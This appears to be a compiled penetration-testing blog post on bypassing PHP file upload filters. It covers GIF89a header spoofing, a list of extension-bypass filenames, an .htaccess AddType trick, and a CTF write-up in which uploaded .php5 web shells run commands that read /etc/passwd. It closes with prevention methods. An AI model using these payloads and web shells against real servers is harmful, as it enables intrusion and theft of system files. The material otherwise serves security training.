- File upload bypass using MIME-type
- Connect between .htaccess and file upload bypass
- Bypass file extensions checks
- RCE»/>
- Using .htaccess
- Misc CTF — Upload Restrictions Bypass
- Recon
- Sending PHP files
- Bypassing file extension restriction
- Using PHP for Remote Code Execution
- References
- Prevention Methods
- Real Life Example
File upload bypass using MIME-type
There are many methods web developers incorporate in their applications in order to allow only certain file types to be uploaded. In the case of a slideshow of a photo booth web application, developers mostly check for a correct file extension (.jpg , .png , etc.) as well as its mime-type Content-type: image/jpeg in order to ensure that the file uploaded is indeed allowed and only an image. Bypassing the file extension to upload a payload is straightforward and easy. We just change the file extension from payload.php to payload.php.gif The mime-type check bypass is again relatively simple but most penetration testers tend to make it seem more complicated than it really is. A good example of that is when we try to incorporate a PHP script in a regular image, which in most cases is very difficult to achieve, and it doesn’t guarantee that the payload will indeed work. This happens because in some cases the server does not recognize the file to contain executable code and it simply tries to display it as an image. The easy way is to trick the mime-type security check in order to think that the file we’ve uploaded is an image but in reality the web server is going to recognize it as a PHP script file. To do so we only need to add one line at the start of our script: GIF89a; GIF89a is a GIF file header. When the file gets reviewed by mime_content_type(«myfile»); it gets fooled in order to think that it is an image instead of a PHP shell.
Connect between .htaccess and file upload bypass
This blog contains the Information about the php file upload bypass and the role of .htaccess file in this bypass.
I came across a web application which had a upload function to upload the ticket into the application. The application was built using php and by doing further enumeration, I came across the uploads folder which contains the uploaded file. But the application had restricted me to upload any kind any potential file extensions listed below due to the validation.
[ .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .phar and .inc ]
Bypass file extensions checks
I came across this nice article file-upload-bypass and made curated list of all bypasses to check via burp intruder and to see If anything passes through.
file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php. file.pHp5. file.png.php file.png.pHp5 file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png flile.phpJunk123png
Luckily the extension file.php… (3 dots after the filename) was able to bypass this file upload restriction and I could able to find the file.php inside the uploads directory. Now this confirmed the it was possible to bypass the file extension. I have tried to upload the simple php backdoor file which is by default available on kali machine.
Now it is straight forward and we could do the command execution by accessing this file from upload directory.
/*
RCE»/>
Using .htaccess
It is found that users can upload .htaccess files. We can take advantage of this to get code execution. The .htaccess file is not an RCE vector by itself, but it allows the creation of new legitimate PHP extensions that are allowed by the web application.
Now we could create our own php extension and mention it via .htaccess file.
Now our .htaccess file looks like:
AddType application/x-httpd-php .rce
Now we could upload a file shell.rce which contains our simple-backdoor.php script and the .htaccess consider this as php file in that directory and now we could achieve the RCE same like before.
I found a nice article below to get more indepth analysis on the file-upload bypass. Definitely give a read here.
Misc CTF — Upload Restrictions Bypass
This challenge highlight the potential risks of bad upload handling and how it can lead to remote code execution on server. In this writeup will go back to the basics and discuss the most common ways to bypass upload restrictions to achieve RCE.
Tl;Dr: The upload server don’t check correctly the file type of uploaded images. It’s possible to bypass the filter by uploading php5 , GIF, or JPEG file containing PHP commands that get executed by the server.
Alright! Let’s get into the details now!
Recon
Opening the challenge display the following website:
Once we upload an image we can see it being stored on the server:
While looking at the request information we notice the app is running PHP 5. This might come useful later:
$ curl http://misc.ctf:33432/ -I
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Wed, 17 Jun 2020 08:24:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40
Sending PHP files
So far we know that the file we send is being stored on the server and the server is running PHP. With those informations we can imagine one way to abuse this upload form: If we could manage to send PHP files we could potentially execute our own PHP script on the server and get full control of it.
Let’s see how we can do that.
First to have a file executed as PHP we need this file to have a valid PHP extension to be recognised as such by the server.
Let’s edit the request made when uploading a file by changing filename parameter to see if we can change our image file to have a .php extension:
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
—X
Content-Disposition: form-data; name=»image»; filename=»1591801133556.php»
Content-Type: image/jpeg
ÿØÿà�JFIF����ÿþ�Compressed by jpeg-recompressÿÛ»»*%%*424DD\»*%%*424DD\ÿÂÿÄ
/Òóêaó|ª3¥}ZóQO 7-ñCÒßUÝÝcót;£òÌzRãÿÄÿÚÿÄÿÚÿÄ1″$Qr%023ASTcÿÚý«ÊMzMb³äÐ\rM¤zh¼EÁd¢øëè~˪kÊlZPÚE°fãc»#¢óDM»
—X—
And bummer the server return to us a 400 Bad Request .
After a few different tries it’s easy to notice that the server is using a blacklist and not a whitelist of “valid” file extension since it’s possible to upload .xyz , .phhp , .html and so on.
So now we know that the server is blacklisting .php extension. And as with every blacklist we know that something will probably be forgotten…
Bypassing file extension restriction
Firstly it’s good to know that not only .php file gets interpreted as PHP by servers, there is some other less used extensions that gets interpreted as-well:
Maybe one of those extension is not blacklisted by the server ?
Since we know the server is running PHP5 let’s give a try to .php5 extension:
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
—X
Content-Disposition: form-data; name=»image»; filename=»1591801133556.php5″
Content-Type: image/jpeg
ÿØÿà�JFIF����ÿþ�Compressed by jpeg-recompressÿÛ»»*%%*424DD\»*%%*424DD\ÿÂÿÄ
/ÒóêaóZóQO 7-ñCÒßUÝÝ phpinfo(); ZóQO 7-ñCÒßUÝÝcót;£òÌzRãÿÄÿÚÿÄÿÚÿÄ1″$Qr%023ASTcÿÚý«ÊMzMb{³äÐ\rM¤z{h¼EÁd¢øëè~˪kÊlZPÚE°fãc»#¢óDM»
—X—
The file gets uploaded successfully. And even though the output contains a bit more rubbish (the actual JPEG bytes), our PHP code get successfully executed:
Using PHP for Remote Code Execution
Having a way to execute PHP on the serveur make it easy to escalate to Remote Code Execution on the server.
We can use for example the system() function of PHP:
Let’s create a new malicious file and upload it:
POST /index.php HTTP/1.1
Host: misc.ctf:33432
Content-Type: multipart/form-data; boundary=X
Content-Length: 158
—X
Content-Disposition: form-data; name=»image»; filename=»1592382731199.php5″
Content-Type: image/gif
GIF89a;
—X—
And now we should be able to pass our command as cmd parameters to get executed on server side:
$ curl «http://misc.ctf:33433/1592382731199.php5?cmd=cat/etc/passwd»
GIF89a;root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[. ]
And finally while looking for the Look at Me app source code we find the flag:
$ curl «http://misc.ctf:33433/1592382731199.php5?cmd=cat%20index.php»
GIF89a;
// flag{4 IM493 k4N Hid3 PHp!}
if ($_SERVER[‘REQUEST_METHOD’] == ‘POST’ && isset($_FILES[‘image’])) {
$file = $_FILES[‘image’][‘tmp_name’];
[. ]
References
Prevention Methods
- Use a server-generated filename if storing uploaded files on disk.
- Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
- Enforce a whitelist of accepted, non-executable file extensions.
- If uploaded files are downloaded by users, supply an accurate non-generic Content-Type header, the X-Content-Type-Options: nosniff header, and also a Content-Disposition header that specifies that browsers should handle the file as an attachment.
- Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application code and in the web server’s configuration).
- Reject attempts to upload archive formats such as ZIP.
- Uploaded directory should not have any “execute” permission and all the script handlers should be removed from these directories.
- All the control characters and Unicode ones should be removed from the filenames and their extensions without any exception.
Real Life Example
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!